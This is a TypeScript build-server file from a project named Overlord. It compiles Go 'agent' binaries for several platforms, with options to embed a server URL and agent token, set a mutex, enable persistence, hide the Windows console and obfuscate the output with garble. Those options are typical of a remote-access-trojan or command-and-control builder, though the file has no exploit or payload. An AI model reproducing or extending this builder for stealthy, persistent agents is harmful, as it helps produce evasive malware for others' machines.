Files
overlord/Overlord-Server/src/server/build-process.ts
T

487 lines
18 KiB
TypeScript

import { $ } from "bun";
import path from "path";
import fs from "fs";
import { saveBuild } from "../db";
import { logger } from "../logger";
import { getConfig } from "../config";
import * as buildManager from "../build/buildManager";
import type { BuildStream } from "../build/types";
import { ALLOWED_PLATFORMS } from "./validation-constants";
import { resolveRuntimeRoot } from "./runtime-paths";
function isClientModuleDir(dir: string): boolean {
return (
fs.existsSync(path.join(dir, "go.mod")) &&
fs.existsSync(path.join(dir, "cmd", "agent"))
);
}
function resolveClientModuleDir(rootDir: string): string | null {
const candidates = [
path.join(rootDir, "dist", "Overlord-Client"),
path.join(rootDir, "dist", "Overlord-Client", "Overlord-Client"),
path.join(rootDir, "Overlord-Client"),
path.join(rootDir, "..", "Overlord-Client"),
];
for (const dir of candidates) {
if (isClientModuleDir(dir)) {
return dir;
}
}
return null;
}
async function estimateBuildPackageCount(clientDir: string): Promise<number> {
try {
const result = await $`go list -deps -f '{{if not .Standard}}{{.ImportPath}}{{end}}' ./cmd/agent`
.cwd(clientDir)
.quiet()
.nothrow();
if (result.exitCode !== 0) {
return 0;
}
const packages = result.stdout
.toString()
.split(/\r?\n/)
.map((line) => line.trim())
.filter((line) => line.length > 0);
return new Set(packages).size;
} catch {
return 0;
}
}
function renderProgressBar(percent: number, width = 24): string {
const clamped = Math.max(0, Math.min(100, percent));
const filled = Math.round((clamped / 100) * width);
return `[${"#".repeat(filled)}${"-".repeat(Math.max(0, width - filled))}]`;
}
type BuildProcessConfig = {
platforms: string[];
serverUrl?: string;
rawServerList?: boolean;
mutex?: string;
disableMutex?: boolean;
stripDebug?: boolean;
disableCgo?: boolean;
obfuscate?: boolean;
enablePersistence?: boolean;
hideConsole?: boolean;
noPrinting?: boolean;
};
type BuildProcessDeps = {
generateBuildMutex: (length?: number) => string;
sanitizeOutputName: (name: string) => string;
};
export async function startBuildProcess(
buildId: string,
config: BuildProcessConfig,
deps: BuildProcessDeps,
): Promise<void> {
const SEVEN_DAYS_MS = 7 * 24 * 60 * 60 * 1000;
const BUILD_STREAM_HEARTBEAT_MS = 15_000;
const now = Date.now();
const build: BuildStream = {
id: buildId,
controllers: [],
status: "running",
startTime: now,
expiresAt: now + SEVEN_DAYS_MS,
files: [],
};
buildManager.addBuildStream(buildId, build);
const sendToStream = (data: any) => {
const encoder = new TextEncoder();
const message = `data: ${JSON.stringify(data)}\n\n`;
const encoded = encoder.encode(message);
if (data.type === "output") {
logger.info(`[build:${buildId.substring(0, 8)}] ${data.text.trimEnd()}`);
} else if (data.type === "status") {
logger.info(`[build:${buildId.substring(0, 8)}] STATUS: ${data.text}`);
} else if (data.type === "error") {
logger.error(`[build:${buildId.substring(0, 8)}] ERROR: ${data.error}`);
}
build.controllers.forEach((controller) => {
try {
controller.enqueue(encoded);
} catch (err) {
logger.error("[build] Failed to send to stream:", err);
}
});
};
const buildStartedAt = Date.now();
const keepAliveTimer = setInterval(() => {
const elapsedMinutes = Math.floor((Date.now() - buildStartedAt) / 60_000);
sendToStream({
type: "heartbeat",
elapsedMinutes,
timestamp: Date.now(),
});
}, BUILD_STREAM_HEARTBEAT_MS);
try {
const serverConfig = getConfig();
const buildAgentToken = (serverConfig.auth.agentToken || "").trim();
sendToStream({ type: "status", text: "Preparing build environment..." });
try {
const goCheck = await $`go version`.quiet();
const goVersion = goCheck.stdout.toString().trim();
logger.info(`[build:${buildId.substring(0, 8)}] Using ${goVersion}`);
sendToStream({ type: "output", text: `Using ${goVersion}\n`, level: "info" });
} catch {
const errorMsg = "Go is not installed or not in PATH. Please install Go from https://golang.org/dl/ and ensure it's in your system PATH.";
logger.error(`[build:${buildId.substring(0, 8)}] ${errorMsg}`);
sendToStream({ type: "output", text: `ERROR: ${errorMsg}\n`, level: "error" });
sendToStream({ type: "error", error: errorMsg });
sendToStream({ type: "complete", success: false });
build.status = "failed";
return;
}
const rootDir = resolveRuntimeRoot();
const clientDir = resolveClientModuleDir(rootDir);
if (!clientDir) {
throw new Error(
`Overlord-Client source not found (missing go.mod). Checked: ${path.join(rootDir, "dist", "Overlord-Client")}, ${path.join(rootDir, "Overlord-Client")}`,
);
}
const outDir = path.join(rootDir, "dist-clients");
await Bun.$`mkdir -p ${outDir}`.quiet();
sendToStream({ type: "output", text: `Build directory: ${outDir}\n`, level: "info" });
sendToStream({ type: "output", text: `Client source: ${clientDir}\n`, level: "info" });
const platformsToBuild = (config.platforms || []).filter((p) => ALLOWED_PLATFORMS.has(p));
if (platformsToBuild.length !== (config.platforms || []).length) {
throw new Error("One or more requested platforms are not allowed");
}
let buildMutex = "";
if (!config.disableMutex) {
buildMutex = config.mutex || deps.generateBuildMutex();
sendToStream({ type: "output", text: `Mutex: ${buildMutex}\n`, level: "info" });
} else {
sendToStream({ type: "output", text: "Mutex: disabled\n", level: "info" });
}
for (const platform of platformsToBuild) {
const [os, arch, ...rest] = platform.split("-");
const goarm = rest[0] === "armv7" ? "7" : undefined;
const actualArch = goarm ? "arm" : arch;
const outputName = deps.sanitizeOutputName(
platform.includes("windows") ? `agent-${platform}.exe` : `agent-${platform}`,
);
sendToStream({ type: "status", text: `Building ${platform}...` });
sendToStream({ type: "output", text: `\n=== Building ${platform} ===\n`, level: "info" });
const env: NodeJS.ProcessEnv = {
...process.env,
GOOS: os,
GOARCH: actualArch,
CGO_ENABLED: config.disableCgo === true ? "0" : "1",
GOWORK: "off",
...(goarm ? { GOARM: goarm } : {}),
};
if (env.CGO_ENABLED === "1") {
const targetKey = `${os}/${actualArch}${goarm ? `/v${goarm}` : ""}`;
const cCompilerByTarget: Record<string, string> = {
"linux/amd64": "gcc",
"windows/amd64": "x86_64-w64-mingw32-gcc",
"windows/386": "i686-w64-mingw32-gcc",
};
const cxxCompilerByTarget: Record<string, string> = {
"linux/amd64": "g++",
"windows/amd64": "x86_64-w64-mingw32-g++",
"windows/386": "i686-w64-mingw32-g++",
};
const cc = cCompilerByTarget[targetKey];
const cxx = cxxCompilerByTarget[targetKey];
if (cc) {
env.CC = cc;
sendToStream({ type: "output", text: `CGO compiler: ${cc}\n`, level: "info" });
} else {
sendToStream({
type: "output",
text: `CGO compiler not mapped for ${targetKey}; falling back to default compiler lookup\n`,
level: "warn",
});
}
if (cxx) {
env.CXX = cxx;
}
}
let ldflags = config.stripDebug !== false ? "-s -w" : "";
if (config.serverUrl) {
const serverFlag = `-X overlord-client/cmd/agent/config.DefaultServerURL=${config.serverUrl}`;
ldflags = `${ldflags} ${serverFlag}`;
sendToStream({ type: "output", text: `Server URL: ${config.serverUrl}\n`, level: "info" });
}
if (config.rawServerList) {
const rawServerFlag = "-X overlord-client/cmd/agent/config.DefaultServerURLIsRaw=true";
ldflags = ldflags ? `${ldflags} ${rawServerFlag}` : rawServerFlag;
sendToStream({ type: "output", text: "Raw server list: enabled\n", level: "info" });
}
if (buildMutex) {
const mutexFlag = `-X overlord-client/cmd/agent/config.DefaultMutex=${buildMutex}`;
ldflags = ldflags ? `${ldflags} ${mutexFlag}` : mutexFlag;
}
if (config.enablePersistence) {
const persistenceFlag = "-X overlord-client/cmd/agent/config.DefaultPersistence=true";
ldflags = ldflags ? `${ldflags} ${persistenceFlag}` : persistenceFlag;
sendToStream({ type: "output", text: `Persistence enabled for ${platform}\n`, level: "info" });
}
if (buildAgentToken) {
const agentTokenFlag = `-X overlord-client/cmd/agent/config.DefaultAgentToken=${buildAgentToken}`;
ldflags = ldflags ? `${ldflags} ${agentTokenFlag}` : agentTokenFlag;
}
if (config.hideConsole && os === "windows") {
const hideConsoleFlag = "-H=windowsgui";
ldflags = ldflags ? `${ldflags} ${hideConsoleFlag}` : hideConsoleFlag;
sendToStream({ type: "output", text: "Windows console hidden (GUI subsystem)\n", level: "info" });
}
if (config.obfuscate) {
sendToStream({ type: "output", text: "Obfuscation enabled (garble)\n", level: "info" });
}
if (config.noPrinting) {
sendToStream({ type: "output", text: "Client printing disabled (noprint tag)\n", level: "info" });
}
const totalPackages = await estimateBuildPackageCount(clientDir);
if (totalPackages > 0) {
sendToStream({
type: "output",
text: `Estimated compile units: ${totalPackages} packages\n`,
level: "info",
});
}
try {
const buildTool = config.obfuscate ? "garble" : "go";
const verboseArg = "-x -v ";
const tagArg = config.noPrinting ? "-tags noprint " : "";
logger.info(`[build:${buildId.substring(0, 8)}] Building: ${buildTool} build ${verboseArg}${tagArg}${ldflags ? `-ldflags="${ldflags}" ` : ""}-o ${outDir}/${outputName} ./cmd/agent`);
logger.info(`[build:${buildId.substring(0, 8)}] Environment: GOOS=${os} GOARCH=${actualArch} CGO_ENABLED=${env.CGO_ENABLED} CC=${env.CC || "<default>"}`);
sendToStream({ type: "output", text: "Build trace enabled (-x -v)\n", level: "info" });
const planCmd = config.obfuscate
? (config.noPrinting
? (ldflags
? $`garble build -n -tags noprint -ldflags=${ldflags} -o ${outDir}/${outputName} ./cmd/agent`
: $`garble build -n -tags noprint -o ${outDir}/${outputName} ./cmd/agent`)
: (ldflags
? $`garble build -n -ldflags=${ldflags} -o ${outDir}/${outputName} ./cmd/agent`
: $`garble build -n -o ${outDir}/${outputName} ./cmd/agent`))
: (config.noPrinting
? (ldflags
? $`go build -n -tags noprint -ldflags=${ldflags} -o ${outDir}/${outputName} ./cmd/agent`
: $`go build -n -tags noprint -o ${outDir}/${outputName} ./cmd/agent`)
: (ldflags
? $`go build -n -ldflags=${ldflags} -o ${outDir}/${outputName} ./cmd/agent`
: $`go build -n -o ${outDir}/${outputName} ./cmd/agent`));
const planResult = await planCmd.env(env).cwd(clientDir).quiet().nothrow();
const plannedSteps = planResult.stdout
.toString()
.split(/\r?\n/)
.map((line) => line.trim())
.filter((line) => line.length > 0).length;
if (plannedSteps > 0) {
sendToStream({
type: "output",
text: `Planned build steps (-n): ${plannedSteps}\n`,
level: "info",
});
}
const buildCmd = config.obfuscate
? (config.noPrinting
? (ldflags
? $`garble build -x -v -tags noprint -ldflags=${ldflags} -o ${outDir}/${outputName} ./cmd/agent`
: $`garble build -x -v -tags noprint -o ${outDir}/${outputName} ./cmd/agent`)
: (ldflags
? $`garble build -x -v -ldflags=${ldflags} -o ${outDir}/${outputName} ./cmd/agent`
: $`garble build -x -v -o ${outDir}/${outputName} ./cmd/agent`))
: (config.noPrinting
? (ldflags
? $`go build -x -v -tags noprint -ldflags=${ldflags} -o ${outDir}/${outputName} ./cmd/agent`
: $`go build -x -v -tags noprint -o ${outDir}/${outputName} ./cmd/agent`)
: (ldflags
? $`go build -x -v -ldflags=${ldflags} -o ${outDir}/${outputName} ./cmd/agent`
: $`go build -x -v -o ${outDir}/${outputName} ./cmd/agent`));
const proc = buildCmd.env(env).cwd(clientDir).nothrow();
const compiledPackages = new Set<string>();
const packageLinePattern = /^[A-Za-z0-9._~\-]+(?:\/[A-Za-z0-9._~\-]+)+$/;
let executedSteps = 0;
let lastBarPercent = -1;
const phaseStartedAt = Date.now();
const emitBuildProgressBar = (force = false) => {
const packagePercent =
totalPackages > 0
? Math.floor((compiledPackages.size / Math.max(1, totalPackages)) * 100)
: -1;
const stepPercent =
plannedSteps > 0
? Math.floor((executedSteps / Math.max(1, plannedSteps)) * 100)
: -1;
let percent = Math.max(packagePercent, stepPercent);
if (percent < 0) {
const elapsedMs = Date.now() - phaseStartedAt;
percent = Math.min(90, Math.floor(elapsedMs / 1500));
}
percent = Math.max(0, Math.min(99, percent));
if (!force && percent === lastBarPercent) {
return;
}
lastBarPercent = percent;
let detail = "working";
if (totalPackages > 0) {
detail = `pkgs ${Math.min(compiledPackages.size, totalPackages)}/${totalPackages}`;
} else if (plannedSteps > 0) {
detail = `steps ${Math.min(executedSteps, plannedSteps)}/${plannedSteps}`;
}
sendToStream({
type: "status",
text: `Compiling ${platform}: ${renderProgressBar(percent)} ${percent}% (${detail})`,
});
};
emitBuildProgressBar(true);
const progressBarTimer = setInterval(() => emitBuildProgressBar(false), 1000);
let result: any;
try {
for await (const line of proc.lines()) {
sendToStream({ type: "output", text: line + "\n", level: "info" });
if (line.trim().length > 0) {
executedSteps += 1;
}
const trimmed = line.trim();
if (packageLinePattern.test(trimmed) && !compiledPackages.has(trimmed)) {
compiledPackages.add(trimmed);
if (totalPackages > 0) {
const percent = Math.min(99, Math.floor((compiledPackages.size / totalPackages) * 100));
sendToStream({
type: "status",
text: `Compiling ${platform}: ${compiledPackages.size}/${totalPackages} packages (${percent}%)`,
});
} else {
sendToStream({
type: "status",
text: `Compiling ${platform}: ${compiledPackages.size} packages`,
});
}
}
emitBuildProgressBar(false);
}
result = await proc;
} finally {
clearInterval(progressBarTimer);
}
logger.info(`[build:${buildId.substring(0, 8)}] Process exited with code: ${result.exitCode}`);
if (result.exitCode !== 0) {
const stderrText = result.stderr.toString();
if (stderrText) {
sendToStream({ type: "output", text: stderrText, level: "error" });
}
const errorMsg = `Build failed with exit code ${result.exitCode}\n`;
sendToStream({ type: "output", text: errorMsg, level: "error" });
throw new Error(`Build failed for ${platform}`);
}
sendToStream({
type: "status",
text: `Compiling ${platform}: ${renderProgressBar(100)} 100% (complete)`,
});
const filePath = `${outDir}/${outputName}`;
const file = Bun.file(filePath);
const size = file.size;
(build.files as any[]).push({
name: outputName,
filename: outputName,
platform,
size,
});
} catch (err: any) {
const errorMsg = `[ERROR] Failed to build ${platform}: ${err.message || err}\n`;
logger.error(`[build:${buildId.substring(0, 8)}] ${errorMsg.trim()}`);
sendToStream({ type: "output", text: errorMsg, level: "error" });
throw err;
}
}
build.status = "completed";
logger.info(`[build:${buildId.substring(0, 8)}] Build completed successfully! Built ${build.files.length} file(s)`);
sendToStream({ type: "output", text: `\n[OK] Build completed successfully!\n`, level: "success" });
sendToStream({ type: "complete", success: true, files: build.files, buildId, expiresAt: build.expiresAt });
saveBuild({
id: build.id,
status: build.status,
startTime: build.startTime,
expiresAt: build.expiresAt,
files: build.files as any,
});
setTimeout(() => {
logger.info(`[build:${buildId.substring(0, 8)}] Cleaning up expired build`);
buildManager.deleteBuildStream(buildId);
}, SEVEN_DAYS_MS);
} catch (err: any) {
build.status = "failed";
logger.error(`[build:${buildId.substring(0, 8)}] Build failed:`, err);
sendToStream({ type: "error", error: err.message || String(err) });
sendToStream({ type: "complete", success: false, buildId });
setTimeout(() => {
logger.info(`[build:${buildId.substring(0, 8)}] Cleaning up failed build stream`);
buildManager.deleteBuildStream(buildId);
}, 60 * 60 * 1000);
} finally {
clearInterval(keepAliveTimer);
}
}